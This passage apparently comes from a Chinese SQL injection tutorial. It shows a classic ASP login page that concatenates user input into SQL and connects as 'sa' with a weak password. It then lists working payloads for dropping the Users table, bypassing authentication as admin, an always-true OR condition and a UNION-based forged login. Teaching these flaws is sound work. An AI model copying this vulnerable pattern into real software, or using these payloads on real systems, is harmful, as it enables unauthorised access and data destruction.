<%@ LANGUAGE = JScript %>
<%
function Login(cn) {
var UserName = Request.Form("UserName");
var PassWord = Request.Form("PassWord");
var rso = Server.CreateObject("ADODB.Recordset");
// 核心漏洞:字串拼接
var sql = "SELECT * FROM Users WHERE UserName = '" + UserName + "' AND PassWord = '" + PassWord + "'";
rso.Open(sql, cn);
if (rso.EOF) { Response.Write("Access DENIED"); Response.End; }
else { Session("UserName") = rso("UserName"); Response.Write("Access GRANTED: " + rso("UserName")); }
}
function Main() {
var cn = Server.CreateObject("ADODB.Connection");
cn.ConnectionTimeout = 20;
cn.Open("LocalServer", "sa", "PassWord"); // sa + 弱密碼!
if (Request.Form("UserName").length > 0) Login(cn);
cn.Close();
}
Main();
%>
"SELECT * FROM Users WHERE UserName = '" + UserName + "' AND PassWord = '" + PassWord + "'"
用戶輸入直接嵌入 SQL 字串,**資料變成代碼一部分**。
UserName: '; DROP TABLE Users--
PassWord: (任意)
-- 執行: SELECT * FROM Users WHERE UserName = ''; DROP TABLE Users--' AND PassWord = '...'
-- 結果: Users 表被刪,所有用戶無法登入
UserName: admin'--
PassWord: (任意)
-- SQL: WHERE UserName = 'admin'--' AND PassWord = '...'
-- 註釋掉密碼檢查,直接以 admin 登入
UserName: ' OR 1=1--
PassWord: (任意)
-- SQL: WHERE UserName = '' OR 1=1--' AND PassWord = '...'
-- 恆真條件,返回第一筆用戶 (通常是 admin)
UserName: ' UNION SELECT 1, 'hacker', 'pass', 1--
PassWord: (任意)
-- SQL: SELECT * FROM Users WHERE UserName = '' UNION SELECT 1, 'hacker', 'pass', 1--' AND PassWord = '...'
-- UNION 結果集欄位數/型別必須與 Users 表一致 (4 欄: INT, VARCHAR, VARCHAR, INT)
-- 程式相信資料庫返回的列,建立 Session("UserName") = 'hacker'
CREATE TABLE Users (ID INT, UserName VARCHAR(255), PassWord VARCHAR(255), Privs INT);
INSERT INTO Users VALUES (0, 'admin', 'r00tr0x!', 0xFFFF), (0, 'guest', 'guest', 0), (0, 'chris', 'passWord', 0xFF), (0, 'fred', 'sesame', 0xFF);
攻擊者如何在**不知道表結構**時,透過錯誤訊息一步步推導出 `Users(ID, UserName, PassWord, Privs)`?見系列第 3 篇。